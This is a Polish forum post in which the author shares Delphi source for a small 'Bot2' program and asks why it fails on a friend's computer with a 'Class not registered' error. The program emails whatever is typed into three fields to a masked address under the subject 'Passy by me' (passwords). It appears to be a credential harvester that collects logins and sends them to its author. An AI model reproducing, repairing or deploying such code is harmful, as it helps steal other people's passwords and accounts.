Witajcie ;)
Zrobiłem programik, który wysyła pewne dane podane w trzech paskach. Na moim komputerze wszystko śmiga ładnie. Wysyła też. Niestety jak dałem koledze aby przetestował wyskakuje błąd: "Klasa Niezarejestrowana". Program się uruchamia ale po wciśnięciu przycisku "Wyślij" wyskakuje ten błąd. Podam jeszcze kod programu:
unit Bot2;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,
CHILKATMAILLib2_TLB,
OleCtrls, ExtCtrls, ComCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Label3: TLabel;
Timer1: TTimer;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure Edit1Click(Sender: TObject);
procedure Edit2Click(Sender: TObject);
procedure Edit3Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
mailman: TChilkatMailMan2;
success: Integer;
email: CHILKATMAILLib2_TLB.IChilkatEmail2;
begin
Progressbar1.Position := 100;
Timer1.Enabled := True;
Button1.Enabled := False;
// The mailman object is used for sending and receiving email.
mailman := TChilkatMailMan2.Create(Self);
// Any string argument automatically begins the 30-day trial.
success := mailman.UnlockComponent('30-day trial');
if (success <> 1) then
begin
ShowMessage('Component unlock failed');
end;
// Set the SMTP server.
mailman.SmtpHost := '******';
// Set the SMTP login/password (if required)
mailman.SmtpUsername := '*******';
mailman.SmtpPassword := '*****';
// Create a new email object
email := CoChilkatEmail2.Create();
email.Subject := 'Passy by me';
email.Body := edit1.text+ ' / ' + edit2.text+ ' / ' + edit3.text;
email.From := 'Tolken <*******>';
email.AddTo('','*******');
// Call SendEmail to connect to the SMTP server and send.
// The connection (i.e. session) to the SMTP server remains
// open so that subsequent SendEmail calls may use the
// same connection.
success := mailman.SendEmail(email As CHILKATMAILLib2_TLB.IChilkatEmail2);
success := mailman.CloseSmtpConnection();
ShowMessage('Akcja udana!');
end;
procedure TForm1.Edit1Click(Sender: TObject);
begin
Edit1.Text := '';
end;
procedure TForm1.Edit2Click(Sender: TObject);
begin
Edit2.Text := '';
end;
procedure TForm1.Edit3Click(Sender: TObject);
begin
Edit3.Text := '';
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
X : integer;
begin
X := StrToInt(lABEL3.Caption) + 1;
lABEL3.Caption := IntToStr(X);
if Label3.Caption = '2' then
begin
Timer1.Enabled := False;
Label3.Caption := '0';
Button1.Enabled := true;
Progressbar1.Position := 0;
end;
end;
end.
Pozakrywałem niektóre dane za pomocą "*****" ;)